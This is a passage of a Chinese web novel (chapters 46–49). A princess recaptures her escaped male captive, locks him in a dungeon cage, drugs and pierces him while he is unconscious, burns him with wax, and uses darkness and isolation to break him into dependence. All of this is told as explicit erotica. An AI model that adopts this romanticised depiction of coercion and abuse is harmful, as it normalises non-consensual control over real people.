“郎君觉得殿下变了,是因为你打从心里认为,女子就应该拥有温婉善良、为爱付出这些美好品质。” “殿下自己也曾经迷失过,曾经屈服于这些世人的既定观点,但是她本来就不是什么良善之人,而她喜欢爱人的方式也不是付出,而是索取。” “柳郎觉得她是变了才会成为现在你所认识的殿下,这样的想法,实在太傲慢了。” 常茵没有给他应答的机会,直接离开长公主府回宫复命。 只剩下柳孤城呆呆跪在“狗窝”前面,过了不知多久,他才记得打开越长风托常茵带来的那个锦盒。 盒里放着精致的狗项圈,上面还有精雕细琢的云纹图腾,前面挂着清脆作响的铃铛,还有长长的金链扣在一头上,金链另一头则是让饲主牵着的手柄。 柳孤城只觉全身发烫,脑里一阵发麻。 铃铛下还有一块小小的玉牌。 玉色清润,是一块价值连城的上好美玉。 却和越长风临幸他时所用宝具如出一辙。 玉牌上还有一个名字。 刻在狗项圈上,表示拥有这只宠物的主人身份。 玉牌上的名字,却只有一个“鸢”字。 在灵堂里他失口叫出的名字,那个只有柳时言叫过的小名,如今刻在他的项圈上,时时刻刻提醒他的身份。 第46章 第46章出逃、剧情转折 柳孤城就这样拿着项圈看了大半天,跪坐在地像一尊石像般一动不动,呆呆出神。 让一个人戴上属于狗的项圈,本来应该是极尽羞辱的一件事。 可是,项圈挂着的玉牌上,刻着的却偏偏是一个鸢字。 那个他看着他的“大哥”,学着“大哥”的样子喊了千百遍的小字。 窗外阳光明媚,在柳孤城的身上打上了一层耀眼的金光,他的心里却是乌云密布,大雾弥漫看不清前路。 常茵说,他太傲慢了。 他没有真正放下过自己的高傲与偏见,好好去重新认识他自以为观察和了解了十多年的人。 越长风的爱是占有,是索取,是操控和享用——而对他展现出来的这种“爱”,才是属于真正的鸢鸢,就连柳时言得到过的所谓“正常”的爱也不过是她曾经的迷失和伪装而已。 在他面前,越长风从来都没有掩饰过真实的自己。 装模作样的骗子、伪君子,从来都是他柳孤城一个人。 或者是他根本从来都没有走出过柳时言的阴影。 用了十余年的时间去像阴沟里的老鼠一样从暗处窥探一个人,他已经分不清楚自己是因为柳时言的喜好而对她入魔,还是自己已经被她在潜移默化之下调教成了沉沦深渊的样子。 而这个刻着鸢字的项圈,似乎是支配者对他最后的考验——一个只给他一个人,就连她开口闭口姐姐小狗的顾锦卿都没有资格得到的考验。 戴上它,全心全意的臣服,不要让主人对自己生厌。 他就会永远属于她。 屈服吧。心底一把声音在叫嚣着。 戴上项圈,放下什么劳什子的柳家、聚贤阁、推倒重来的“理想”,需要推倒重来的是他的人生。 柳孤城幽深黑眸里的星火忽明忽灭,眸中深处掠过一抹痛苦,握着项圈的拳头紧紧蜷起,却下意识地往自己的脖子上移去。 就在这时,窗外响起了一阵鸟鸣。 柳孤城骤然回神,直直站起身来,三步并两步的走到窗前。 窗台上停着一只青雀,看起来再也平常不过的庭院小鸟,对于身为聚贤阁主的柳孤城而言却是别有玄机。他伸手往青鸟的头上摸了摸,从羽毛间取下黏在上面的小小蜡丸,再从中敲开掏出了一张纸条。 纸条上的内容言简意赅,柳孤城很快便看完了,却是脸色大变,深深吸了两大口气才勉强镇静下来。 ----- 夜深人静。 堤坝工程的事还是让人焦头烂额,越长风结果还是宿在宫中。 柳孤城静静的脱下了一身“规矩”,挂着鸢字玉牌的狗项圈被放在大床下的“狗窝”里,纱衣则是被折叠整齐的放在“狗窝”最上面。 唯有笼子他没有锁匙脱不下来,可是他也无暇去理,只能匆匆换上从下人房中偷来的一套“正常”布衣,然后毫无留恋的走出院外。 府邸的主人和掌事的长史大人都不在府中,守卫已是比平时要宽松了不少,加上柳孤城早已观察到了守卫巡逻的漏洞和目所不及的几个盲点,他身手敏捷,脚步落地无声,几个利落的翻身便翻出了长公主府的门外。 没过多久,聚贤阁主便出现在影子朝廷的地下宫殿里。 顾锦卿已经在殿里等着。青年明显的坐立不安,在空荡荡的大殿里来回踱步,还一边下意识地咬着指头。 看见柳孤城一身粗布衣服、秀发凌乱的走进殿内,顾锦卿微微一愣:“阁主……” 柳孤城抬手打断了他。“本座不是说过你和聚贤阁再无关系了么,怎么还托阁里暗卫传信,让我回来?”声音淡淡的,没有从前兄弟之间的相知和相惜。 “哥哥……”顾锦卿扁了扁嘴,在姐姐面前魅惑诱人的狭长凤眼此刻只有一片担忧和委屈。“长公主在查六部这些年来被洗掉的银两去向。” “顾大人这是在关心我?”柳孤城唇角微勾,冷凝的脸上却没有一丝笑意,只有似有若无的轻蔑。“还以为顾翰林的眼中,就只有你的饲主姐姐。” 顾锦卿身躯一震,面色微微一变。 曾经亲密无间的邻家哥哥连他亲手为自己改的名字也不愿意叫一声了,只剩下冷冰冰的官位相称——顾锦卿想不明白自己是哪里得罪了他,他本以为阁主把自己逐出聚贤阁还有为他着想、不希望让他难做的意思在内,没想到有些日子没见,他还真是这么无情。 “阁主永远是锦卿的哥哥、伯乐和恩人。”顾锦卿轻轻叹了一口气。“我知道哥哥现在掌握了聚贤阁和柳家的资产,当中也包括柳家为聚贤阁而建立的地下钱庄,想要给哥哥通风报信——” 柳孤城再次打断了他。“本座知道了。” 他言不由衷的笑笑,“多谢顾大人提醒,不过本座早已把地下钱庄的帐簿交了上去。” 顾锦卿大吃一惊:“这是……” “两本帐簿,不过是死物而已。”柳孤城轻轻笑出声来,笑意却不及眼底。“地下钱庄早已被掏空,聚贤阁的生意遍布四海,想要转移资产又有何难?” “只是,”他顿了顿,眸光骤然变得晦暗阴冷:“本座掌管聚贤阁以来,说过不要做的东西,统统都有人违背命令私下去做了。” 他没有对顾锦卿说的是,除了他自己之外,还有别人在掏空地下钱庄的资产,那些本来应该在他控制之下,原来推翻这个现有制度的本钱。 柳孤城脸色阴沉,冷笑:“看来本座这门户还清理得不够彻底。” 顾锦卿心下一凛。他感觉得出来,柳孤城现在面对的不仅有朝廷的穷追不舍,在世家手上多年腐朽入骨的利益集团,还有在实现理想的过程中所遇到的重重难关。 ——甚至来自长公主本人的凌辱和亵玩。 聚贤阁内部也不平静,有另一只无形之手在与他对抗,或者是不服他管治的那些柳时言遗下来的旧人,又或者只是想从这个庞大的利益集团中分一杯羹的喽啰。 顾锦卿心乱如麻,一边是他爱慕多年的殷姐姐,另一边是他就算被驱逐出阁也不能对其忘恩负义的邻家哥哥。他想帮助阁主,只是就连他自己也不知道可以怎么帮忙。 柳孤城也没有给他细想怎么帮忙的机会,招手让一旁隐着的暗卫出来。“来人,送客。” 看着顾锦卿一脸不甘的被“请”出去后,又冷冷向暗卫命令:“让萧度过来。” 萧度正是在程家前家主致仕后接替他的户部尚书,仅仅而立之年,还是寒门出身,曾经和常茵有夫妻关系,但常茵与常家割席,后来两人也是和离收场,他的仕途之中也就没有任何一个世家权贵的帮衬。 但就算这样,也无阻萧度登这条梦幻一样的青云梯。 却也没有人知道,他从来都是聚贤阁的一只暗桩。户部主管朝廷税收、户籍纪绿,和批核出纳的太府寺也是合作无间,除了柳时言当年透过越长风的关系和太府寺搭上关系之外,聚贤阁还需要在户部打好根基。 尽管柳家的前家主是监督户部的尚书左仆射,而户部的前任尚书也是组成聚贤阁的四大世家之一的程家家主,但这两个人的身份都太过显耀,聚贤阁还需要让人难以发现影子朝廷手笔的暗桩存在。 以寒门之身科举入仕的萧度,在官场上是前无古人的顺利登天,便是这样一条暗桩的存在。 但是, 这条暗桩现在好像不怎么听话了。 “阁主。”萧度进殿的时候屏风已被高高架起,他也早已习惯不去考究阁主的真容,只是低下头去躬身行礼。 屏风后的柳孤城轻轻嗯了一声,声音慵慵懒懒的,听不出什么感情。 阁主的沉默让萧度越发不安,他却不敢跨越雷池一步,只能垂着手乖乖等待阁主的下一步指令。 地下宫殿没有地面上的鸟叫虫鸣,在空空洞洞的一片死寂之中更显诡异。 过了不知多久,柳孤城才懒洋洋的问:“萧尚书还记得自己是聚贤阁的人么?” 萧度心下一凉,忙不及吝的回道:“属下自然忠于本阁。” 屏风后传来一阵窸窸窣窣的声音,本来懒懒坐着的阁主一下站了起来,无形的压逼感瞬间罩顶。 “那为什么你对本座这个阁主的命令阳奉阴违?” “户部那些银两,现在都在哪里?” 第47章 第47章笼中鸟、改造 在柳孤城当上阁主之前,聚贤阁一向都只是一个组织松散的利益集团。表面上奉废太子为主,实际上却是各自为政,唯一的共通点就是共同利益。 柳孤城的心够狠,手段够高压,一下子把大权集中在手,但仍无法改变组织内部每一个人都有不同想法的这个现实。过去几年那些属于废太子和柳时言的残余势力已经被他清理得七七八八,但就算是像萧度这样没有家世、背景清白的人,也总有那么一些自己的心思。 柳孤城没日没夜的在聚贤阁收拾残局,追查并清理了一批怀有异心的地方桩脚,也对萧度连番敲打威胁,总算把事情压了下来。 重回地面的时候,已经是三天之后。 聚贤阁的地道有很多条,不少是通往四大世家旗下的商铺或宅子,柳孤城为了保险起见选择了通往城外的一条,出口正是在柳家陵园。 从陵园入城的路静悄悄的,这条路一向没有什么来往的人,柳孤城本来不该在意。 可是,心里却总是有一种惴惴不安的感觉。 城门口处的盘查也不见得有比平时更加严谨,柳孤城的马车上绣着柳家的图腾,城门口的小卒哪敢得罪四大世家的人,往往都是看也不看直接放行。 这次也是如此。 直到马车刚驶进城门口的一刻,一队上百人的玄武卫从旁边坊里中无声涌出,为首一人玄袍金冠,面容冷峻,眸如鹰准死死盯住眼前无路可逃的猎物。 柳孤城揭起车帘,勾起一抹符合柳家家主温润得体而又不乏矜贵傲气的笑。 ——就好像他们没有在长公主府见过,陆行舟也没有当众扒过他的衣服一般。 “大人这么劳师动众的,柳某真是受宠若惊啊。” 陆行舟策马上前,停在掀起的车帘外面,高大的身影彻底笼罩住车里坐着的男人,也彻底隔绝了他的视线。 他坐在马上,居高临下的看着兀自一脸悠闲的柳孤城,像是在看着一个死人。 “你不该回来的。”他用只有两个人听得见的声音说。 柳孤城歪了歪头,一脸不解:“柳某生于斯长于斯,不过是出城散了散心,有什么不能回来的?” 陆行舟目光冷凝,声音没有一丝温度:“既已逃出天罗地网,就不该再出现在她的面前。” 天罗地网……吗? 柳孤城唇角一勾,意味深长的笑笑。 他自然知道陆行舟口中的“她”是谁。 或者从一开始,她便是在给他机会逃走。 看他能逃得有多远。 然后设下天罗地网,等他自投罗网。 柳孤城深深吸了一口气,定定地对上陆行舟冷冽的目光,也不再装无知了,只是平静的道:“是陆大人不希望我出现在她的面前。” “从一开始,陆大人就不希望她看得上我。” 陆行舟身形一顿。 他的确希望柳孤城跑了就再也不回来。 这些年来他早已习惯了越长风身边有各式各样的男人,而自己什么也不是;但柳孤城不同。 于公于私,他都容忍不了这个人的存在。 只是他绝不能让自己的私心暴露在这个危险的对手面前。 半晌,陆行舟才木无表情的道:“本司只是有责任去消除主上身边所有潜在的危险。” “而我知道你是谁。” “柳十二。” 柳孤城羽睫一抖,眸中精光大盛。 “啧啧啧。”他冷笑出声,“终于图穷匕现了。” “去告诉你的主人啊。”柳孤城仰首看着马上的陆行舟,眸光晦暗,阴鸷狠戾之色丝毫不下堂堂玄武司使。“顺便告诉她,你之所以知道这些,全是因为柳十三在你的手上。” 陆行舟面色一凛。他没想过单从这一句话,柳孤城便什么也猜到了,可是细细想来却又不足为奇。 只听柳孤城淡淡道:“用一个秘密来换你放我一马,陆大人觉得怎么样?” 陆行舟翻身下马,凑到柳孤城面前,似乎正在思考他的提议。 下一刻一记手刀毫不留情的落下,柳孤城还未反应过来便已晕倒在车里。 “带走。”陆行舟目中掠过一抹迟疑,却很快便回复一脸坚毅,挥手冷冷命令身后的玄武卫。 他从来都是主上身边最忠诚的狗。 ----- 柳孤城在一片漆黑中醒来。 睁开眼睛的时候眼前没有一丝光亮,他眨了眨眼,抬了抬手,还是什么也看不见。 四周一片寂静,他似乎在什么密闭空间里,连空气流动的声音也听不见,只有自己惴惴不安的呼吸声。 身下似乎是某种柔软的锦缎,他已经很久没有睡得这么沉过,也不知是因为布料柔软舒适,还是陆行舟在打晕他后还给他为了什么药。 柳孤城撑着手臂艰难地坐直身子,很快便发现了身上的几处不同。 身上本来穿着的衣服已经全部不见,熟悉的条条“规矩”已被重新戴上,他每稍稍动一下便能清楚听见铃铛乱晃的声音;他下意识的拉了拉链子,夹着的地方竟是传来锥心的痛,顺着金链往上摸去—— 一向夹在身上的金链,如今竟是系在一个个小金环上面,而那些小金环则是被永久性的穿在身上。 ……他到底昏迷了多久,不仅被关到了这个暗无天日的地方,还在全身上下最不耐痛的地方被穿上了这些脱不下来的环? 钻心的痛远远不及他此刻的错愕,柳孤城呆若木鸡的坐在那里,铃铛的声音慢慢停了下去,他这才不得不正视自己身上其他的变化。 比如,脖子上那无法让人忽视的重量。 他的脖子上被重新戴上了项圈,触感冷硬显然不是那日常茵给他带来的那条皮制项圈,更像是他刚刚入长公主府时越长风用来把他拴在柱子上的重铁项圈。 还有,自己难以启齿的某处。 那里被放进了黄豆大小的什么东西,表面触感凉凉的将是一颗铜铃,里面不知什么东西,他不过稍稍动了一下那东西便旋运不止,令人浑身发麻,禁不住的颤抖不已,一下子带动穿上的条条“规矩”,伤处又是一阵难以言喻的痛。 柳孤城一下失重,跌坐在铺着锦缎的地上,他下意识的伸手往后一撑,摸到了冷冰冰的铁栏。 ——他所在的地方,竟然是一只笼子。 柳孤城对笼子已经不陌生了。身上的金丝鸟笼还在,只是这次他自己竟也成了笼中的金丝雀。 原来,这就是陆行舟口中的“天罗地网”啊。 他缓缓往后倒去,想要平躺在地舒缓阵痛,却发现脖子上的铁质项圈似乎被扣在了笼子顶端,他躺也不是站也不是,因为那颗铜铃的关系臀部还不能和地面直接接触,只能乖乖跪在地上。 忽然黑暗中传来一声极轻的笑声。 “……主人。” 他听见自己的声音在颤抖。 黑暗中一丝烛火被瞬间点燃。 微弱的烛光打在女郎的脸上,柳孤城隔着笼子,看见了站在那里居高临下地看着自己的越长风。 支配者一身玄锦织金蟒袍,那是属于统治者的正式朝服 ,发髻被整齐梳起戴着象征身份的冠玉,看来大朝会刚完她便匆匆赶来,趁他昏迷之际给他进行了诸般“改造”,然后一直无声地站在那里等他醒来。 衣冠楚楚的她和狼狈不堪的他隔着笼子四目交投,也隔着横越不过的一道鸿沟。 两个人的距离很近,此刻的身份差距却有着天渊之别。 “柳孤城。” 越长风忽然开口叫他全名。 柳孤城下意识的回话:“是,主人。” 越长风微微弯下身子,手中烛台凑到他的面前,她仔细端详着他五味杂陈的脸容,将手伸进笼内,抬起他的下巴,温温柔柔的笑:“柳奴不喜欢本宫特意为你做的项圈么?” 是柳奴,不是柳郎。 他连做她的柳郎也没有资格了。 曾经因为柳时言的缘故而极度厌恶的称呼,现在竟是他求而不可得的恩赐。 “奴——”柳孤城一阵如鲠在喉,什么也说不上来。 “不喜欢也没关系。”越长风温和的打断了他,“本宫想过了,还是现在这一身比较适合你。” 下颌的力度骤然加重,柳孤城痛得闷哼一声,换来的是支配者愉悦的笑。 “这东西名叫勉子铃,”越长风没有说是什么东西,但她知道柳孤城绝对知道她在说的是什么。“本宫还得多谢你呈上了柳家的航海图,这可是从南洋那里来的好东西。” 她伸手在他身后轻拍,再次激起了铜铃的翻滚,柳孤城只觉一阵头皮发麻,忍不住闷哼一声。 越长风把烛台往下移去,火苗几乎便要烧到男人身上金环,但就算没有直接接触,烛火的高温还是传到了金环上面,让他忍不住的浑身发抖,一味尝试往后退缩,背脊却已顶在了笼子的铁栏上面。 越长风静静地看着他无果的挣扎,缓缓站起身来,用手中烛台点燃了室内灯火。 柳孤城这才看清楚了自己身处的地方,困着自己的笼子放在一间不透风也不透光的屋子里,看起来是一座地牢。 越长风点亮了地牢里的灯火,见他惴惴不安地打量着周遭环境,笑着打开了笼子的门。 柳孤城退无可退地蜷缩在笼子一角,越长风也出奇的耐心,没有催促,只是眉眼带笑的看着他。 过了整整一刻钟,她才慢吞吞的说:“你自己爬出来,还是本宫把你拖出来,你受到的惩罚可能会不一样。” 她用的是一个爬字。 柳孤城咬了咬牙,还是自己爬了出来。 越长风把锁链扣在男人项圈的后颈上,那是一条和重铁项圈同样粗糙的铁链,不是她当初给他打造的金链,也没有刻着她小字的那块玉牌。 “爬。”她言简意赅的命令。 不能太快,也不能太慢,这是支配者的规矩。 似乎在故意训诫他似的,地牢粗糙的石地上没有像笼子里一样抱着布匹软垫,爬在上面纯粹是对膝盖的惩罚。 还有每一下动作时,新鲜打上的金环和勉子铃的折磨。 他跌跌撞撞地被牵到室内唯一一张软榻旁,越长风命令他躺了上去,然后站在榻旁,慢条斯理的抚过他身上穿着金环的地方。 也许是支配者对于他的身体过于熟悉,就算是全身上下都在隐隐作痛,柳孤城还是感觉头脑发热,不争气的想要迎合。 “求求你……”他的声音沙哑得连自己也听不下去。“主人……我很疼。” 越长风居高临下的凝视着他,毫不犹豫地否决了他的哀求,“疼就对了。” 她的脸上一片轻蔑:“哪有惩罚是不疼的?” 第48章 第48章小黑屋、孤独和恐惧…… 柳孤城的脸一阵红一阵白的,交织着痛楚和情潮,额头渗出冷汗,却仍死死咬着牙关不愿溢出一声痛呼。 越长风一脸的闲适惬意,像是在耐心享受手下的触感和男人的反应。直到享受够了,玉手才缓缓下移,开始玩弄起他身上的鸟笼来。 “呃唔——” 她轻佻地弹了弹鸟笼顶端,弹得金铃随着笼中小鸟花枝乱颤,在柳孤城不知是渴望还是害怕的目光里慢悠悠的收回手指。 “叫得很好听嘛。”她一脸温和的笑笑,“可惜你那满口大话,本宫已经不想听了。” 刚刚还在亵玩笼中雀鸟的手指带着不容置疑的力量掐住他的颊骨,逼他张大嘴巴,然后熟悉的玉器被塞进口中,一直顶到舌根的位置。柳孤城顿觉吞咽困难,几欲作呕,却连一点声音也发不出来。 在他的无声抗议之中,越长风把人翻转,指尖涂上药膏,悠悠移到两片白月光之间。 柳孤城下意识的夹紧双腿,却在她冷冷的一声“夹什么”之下,强迫自己中门大开地呈于支配者的面前。 下一刻他便感觉到膏药特有的凉意渗入体内,慢慢地由浅入深,还恶劣地把里面的勉子铃再往深处推去。 剧烈的刺激下痛感和情潮同时来袭,他却连一声轻哼也发不出来,只能把头埋在榻上,自欺欺人的闭上眼睛。 偏偏笼子里的鸟儿又不争气的抬起了头。还妄想着一飞冲天,高高昂起的头死死顶着狭窄的笼顶,胀得他难受极了。 越长风似乎也感觉到了鸟笼里的动静,她一下子停下动作,抽出手指,打开了鸟笼的门。 “想要么?” 支配者的声音轻描淡写的,仿佛只是在问一个普通不过的问题。 柳孤城却想起了在他逃出长公主府之前,她给自己上过的那一“课”。 她用极尽羞辱和残忍的方法,教会了他怎样对人坦诚。 他挣扎着抬起头来,惟恐不及的点头如捣蒜。 越长风却只是摸了摸他的头,重新把它按了下去,然后重新锁上笼子。 ——她已经不在意他是否在表达自己真实的感受。 柳孤城恍然大悟,由始至终她就没有给他解开鸟笼的意思,不过就是为了给他万分之一的希望,然后亲手将这一缕微光抹杀。 两人相对无言,一个说不了话,另一个也没有说话的意思,安静得可怕的空气中只剩下两个人的呼吸声。 越长风转身拿起了点燃满室灯火之后一直被晾在旁边的烛台。 柳孤城不敢回头,看不见她的动作,只是从她再次锁上金丝鸟笼后便有了挥之不去的不祥预感。 下一刻,灼热的痛感落在了他的背上。 正好是曾经被一次又一次入骨的鞭打而留下斑斑驳驳狰狞旧痕的地方。如今被烛台倾泻下来的烛油覆在上面,再次感到滚烫的痛楚,却又急着阵阵酥麻的热意。 他目不能视,口不能言,又不敢挣扎,只能僵直着身体等待支配者下一步的行动,唯一能用的耳朵明显的竖了起来。 越长风凑近他的耳边,一边伸手抚摸着旧主在他身上留下的鞭痕,一边往他背上滴着一滴一滴的烛油,状若不经意的问:“柳奴觉得本宫应该做些什么,才能在你身上留下属于本宫的,永不磨灭的印记?” 柳孤城浑身一震,勉子铃又在里面翻滚不止,每一下都挑动着他最敏感的神经,脑海里已是糊成一团。就算此刻嘴里没有塞着东西,他也不知道自己回不回答得了这个问题。 越长风显然也没有要他回答的意思,只是一丝不苟地继续着手上动作。 烛油落下的频率最初很慢,像是猫捉老鼠一般玩弄着柳孤城的心志。然后渐渐忽快忽慢,烛油与肌肤相接之间的灼热感也随着烛台忽高忽低的高度而有所不同。 然后烛油滴落的部位也开始慢慢下移,落在僵直的后腰,然后是两片干净的白月光上。 深处的勉子铃上似乎系了一条绳子,而此时那条绳子正在被支配者戏玩的拉伸着。 酥麻的感觉和灼热的痛感 互相交织,柳孤城忍不住蠕动身体,下意识的只想离身上的掌控者远一点,仿佛这样就能逃离这些难堪的感觉。 双腿却被身上的人死死压住。 “还想逃吗?”凉凉的嗓音没有一丝温度。 柳孤城死死摇头。 滚烫的烛油落在两片月光之间最脆弱的位置上。 “本宫说过的话,你从来都没有听进耳内。”她温温吞吞的说,“你觉得本宫还会听你的话么?” 柳孤城把头埋在榻上,深渊一样的黑眸里只有一片绝望。 相比现在的越长风,从前的她简直就是绝对的仁慈。 她甚至把自己的小名刻在了给他量身打造的项圈上。 现在的他却不配说话,不配点头摇头,只配用自己的痛苦难堪和欲求不满来取悦身上的支配者。 越长风也似乎有被取悦到,她把烛台凑到他后颈的项圈上,烛火的炽热透过铁制项圈直接传到滑嫩的皮肤上,直到他整片脖颈都在发红发烫,她才发出满足的轻笑。 “来吧,”越长风愉快的笑道,“看看自己现在是什么样子。” 在酷刑停止的一刻,柳孤城悲哀的发现自己竟然对发起惩罚的支配者生起了由衷的感激之情。 快将燃尽的烛台被随手放在一旁,越长风用空出来的手拽着项圈上的铁链逼他仰起头来,正对着前方的一面铜镜。 柳孤城看见了自己的脸,凌乱的秀发被汗水黏在脸颊上,眸中水气弥漫,仿佛快要把深处燃烧的火苗彻底浇灭。他愣愣地看着自己一副要被玩坏的样子,似乎难以置信。 然后,他看到了自己背上的景致。 十多年前划下的深深鞭痕在高温的烙印下更加突显,滴落在皮肤上快速凝固的蜡油像点点红梅,遍布在背上的每一角。 ——支配者以他身上的鞭痕作茎,滴落的烛油作花,以他斑驳不堪的背部为画卷,画出了一幅红梅盛开的图。 “喜欢么?”温热的气息喷洒在他的颈侧。 越长风依旧一手拽着扣在他脖子上的铁链,就像她紧紧掌控着他的人生一样。另一只手却将他口中的玉器拿了出来,还不忘充满羞辱意味的把沾满口涎的那端往他身上抹去。 这次她似乎是真的想要听到他的回应。 而他的答案,也只能是那一个。 “喜欢……主人。”沙哑的嗓音颤抖得不成样子。 越长风轻轻“嗯”了一声,似乎对他温顺驯服的答案表示认可。 下一刻她却骤然把铁链往后一拉,项圈紧紧地勒着他的脖子,窒息感如潮涌上。在那一瞬间的空白之中,柳孤城听见了那把温温柔柔却被什么时候都要让人恐惧的声音。 “再想着逃跑,我就把这幅图永久地刺在你的身上,知道吗?” ----- 地牢里重回一片黑暗。 巨大的铁笼被重新锁上,柳孤城在笼里枯坐良久,意识一片混沌。 前几天在聚贤阁不分昼夜的处理乱局,他本就没有好好吃饭,现在不仅饥饿难耐,而且浑身酸痛,全身上下没有一点力气。 就在他以为自己要饿昏过去的时候,越长风一手提着新的烛台,一手提着饭盒走了进来。 看见烛台的时候,柳孤城下意识的往后一缩。当他意识到作为笼中鸟的自己根本避无可避的时候,如愿以偿地看到了支配者脸上饶有兴味的笑容。 越长风没有说话,只是像抚摸宠物一样摸了摸他的头,然后打开了带来的饭盒。这次她没有把饭餸放在地上,而是亲手拿着勺子,越过笼子的铁栏一口一口地把食物往他口中喂去。 一碗饭菜下肚以后,越长风把饭碗放回盒子,提着食盒和作为唯一光源的烛台走了出去。 整个过程之中,两个人没有说一个字。 ----- 饭菜里被加了药。 柳孤城再次昏睡过去。 醒来的时候,他发现自己脖子上的重铁项圈重新被扣在了笼子顶端,双手双脚被同样冰冷厚重的镣铐固定住,金环穿刺的伤口似乎没那么痛了,但让他浑身发麻的勉子铃似乎由一个变成了两个。 周围又是像他第一次在笼子里醒来时那样的死寂。 他除了自己的鼻息外便什么也听不见,心里陡然生出一阵被遗弃的慌乱,他张了张口,干涸沙哑的声音不确定的问:“主人……?” 黑暗中没有回应。 “主人在吗?” 还是没有半点声音。 柳孤城尝试挣扎,被紧紧禁锢的四肢却是动弹不得,只有带着项圈的脖子能够勉强扭动,身上的条条“规矩”发出叮叮当当的声音,身里的两颗铜铃仿佛有自己生命一般在动静之间翻滚跳动。 漫长的黑暗和拘束是支配者不用动一根指头也能达到最佳效果的酷刑,强烈的孤独会变成恐惧,强烈的恐惧会变成对始作俑者给予“救赎”的期待和依赖。 柳孤城失去了对时间的意识,只知道他越来越渴望有什么人出现。 越来越渴望有“主人”的出现。 他不停的呢喃着:“主人……奴不会再跑了。” “奴永远属于主人。” 不知道重复了多少次以后,地牢的门再次被打开了。 越长风再次提着烛台和食盒进来,一如既往的隔着笼子喂食,在默默无言之中提起空空如也的食盒和烛台转身离去。 “主人!” 柳孤城大叫出声。 提起的脚步骤止。 “奴知道错了……”他轻轻呢喃,颤抖的声音在空荡的地牢里异常响亮。“求求主人……” 越长风停下脚步,却没有转身,也不屑给他一个眼神。 她只是富有耐性的在等待。 柳孤城顿了一下。他在求她什么?求她放自己出去,求她还自己自由,求她让自己像从前一样,在上面的屋子里做她毫无尊严却能被相对地温柔以待的宠物? “求求主人……” “……不要走。” 他最终如是说。 越长风终于转过身来,弯下腰,一根手指穿过笼子上的铁栏抵在男人唇边。 柳孤城张开嘴巴将玉指含在口中。 “舔吧。”她居高临下的,用一副施舍的目光注视着他。 温热的舌尖缠绕在女郎的芊芊玉指上,唯恐不够小心翼翼的伺候着。 越长风嘴角微勾,往里面再加了一根手指。两根手指不断挑逗着滑嫩的舌尖,或是夹着舌尖施加痛意,或是沿着舌头一路抵至舌根,让他毫无防备的干咳起来。 “两根手指就玩成这样,”她轻飘飘的道,“还想逃跑?” 柳孤城低低回道:“……奴不会逃了。” 越长风定定的注视着他,在佛明忽灭的烛火之下,女郎绝美的面容既像悲天悯人的神佛,也像无情索命的恶鬼。 她忽然如沐春风的笑了。“告诉本宫。” “你是我的什么?” “奴……”他稍稍迟疑了一下,却很快便接了下去:“奴是主人的狗。” 越长风摇了摇头。“犬类最重要的特质是忠诚。你有么?” 柳孤城低下了头。 越长风用濡湿的手指掐着他的下巴,逼他与自己对视:“你已经失去了做狗的资格。” “你只是本宫的玩物,好好记住了。” 她放下烛台食盒,打开笼子,拿过一旁放着那件被柳孤城衔过的玉器,毫无预兆的使用了他。 第49章 第49章自己来、止、答案…… 一番云雨之后,越长风把他拽回笼里,锁上笼门后便提着烛台饭盒毫不犹豫的转身离去。 整个过程之中,她好整以暇地听着他的高呼低喘,看着金丝笼里的鸟儿红肿发胀,一个字也没有说,也没有给他释放的意思。 ——人对着宠物的时候还会发出指令和回馈并与其进行简单的交流,但绝对没有人会对着一件没有生命的玩物说话,也没有人会觉得玩物应该有自己的感受。 他只不过是一件玩物而已。 ----- 之后,越长风出现的间隔越来越久。 柳孤城每次吃了就睡,睡醒就等,一直等到饥肠辘辘的时候,黑漆漆的地牢才透进一线光亮。 食盒里的食物每次都不一样,唯一的共通点只有越长风手里握着那只喂进他口里的勺子。 等他一勺一勺的吃完以后,她就放下烛台食盒,打开笼子,拿出他体内的两颗勉子铃,与他共赴巫山。 ——或者应该说是,单方面的使用他这件玩物。 身前的鸟笼没有再被取下,越长风连一丝得到释放的假希望也不打算给身下男人,每次娴熟地玩弄着他脆弱敏感的地方,听着他由咬牙隐忍的闷哼变 成欲求不满的悲鸣,然后在他满脸通红、浑身发抖的时候,又一下抽身而去。 渐渐的越长风开始不再去主动使用他。 她把玉器放在地上,打开了柳孤城身上的金丝笼子,任由鸟儿高高仰头,却不让他触碰一下。 “想要释放,就只能自己用这里。”她懒洋洋地指指他的身后。 他慢慢地学会了从屈辱和痛苦中获得快慰。 越长风好整以暇地坐在软榻上,看着他把自己玩得快要来到临界点的时候,清清冷冷的喊了一声“止”。 柳孤城已经被训练得在每一次听见那个“止”字的时候,无论自己有多么接近天边,都只能强行把自己拽回地上。 越长风冷冷地看着他自己用笼子重新困住一下子变得萎靡不振的金丝雀儿,把勉子铃放回里面,拉着他的项圈驱赶他回到铁笼里,把他的脖子和四肢用镣铐锁链固定在铁笼的栏杆上。 然后惯性地隔着笼子摸摸他的发顶,提起烛台食盒一言不发的离开地牢。 ----- 柳孤城无从得知自己在地牢里待了多久,但他清楚记得越长风来了十次。 他几乎便要习惯了这样的生活。整日待在伸手不见五指的黑暗里,生存的意义就只有吃饭、睡觉和用自己的身体来取悦主人。 他徒有眼睛却不能视物,徒有耳朵却只能听得见自己的呼吸声和铃铛声,只有主人来的时候,这间屋子里才会有一点的光芒和人气。 就在第十一次,越长风却改变了前十次的惯性。 食盒里没有勺子,她把饭菜直接放在脚上,淡然看着男人温顺地跪在地上舔舐玉足的足背。 喂食结束后,还是一如既往的“娱乐”环节。这一次,支配者没有一如既往的吐出那个残酷的“止”字。 柳孤城还是下意识的停下了手中动作,金丝雀泊泊的往外淌着泪水,却像之前的每一次般没有得到真正的解放。 越长风看着他已经刻进心里的习惯,嘴角勾起了意味深长的笑。 她从软榻上缓缓站起身来,阻止了男人正要给自己重新上锁的动作。 ——明白了自己身份、学会了自我约束的奴,已经不需要这个笼子了。 越长风拉起男人脖子上的铁链,这次她没有把他拽进笼里,而是让他跟在自己身后爬着,回到了软榻上。 她让他爬上软榻,靠在自己的怀里,缠着铁链的手有一下没一下地抚着男人旧痕累累的后背。 柳孤城感受到自己像是一件物件般被摆弄着,她的动作什至不含情\欲,不过是在寻找一个趁手方便的角度,把自己的身体作为靠手搁着手臂罢了。 两人默默无言,空气中又是一片寂静,柳孤城听着此起彼落的呼吸声,却感到一阵莫名的安心。 越长风忽然开口:“为什么要跑?” 这是她第一次问他一个没有标准答案的问题。 她甚至停下了手上动作,目光专注地看着怀里的他,耐心地等待他的答案。 柳孤城定定的回望着她,眸光深处似有星火灼灼,同时交织着可怜巴巴的粼粼水光。 过了好一会,他才低低道:“柳家那边……出了事。” 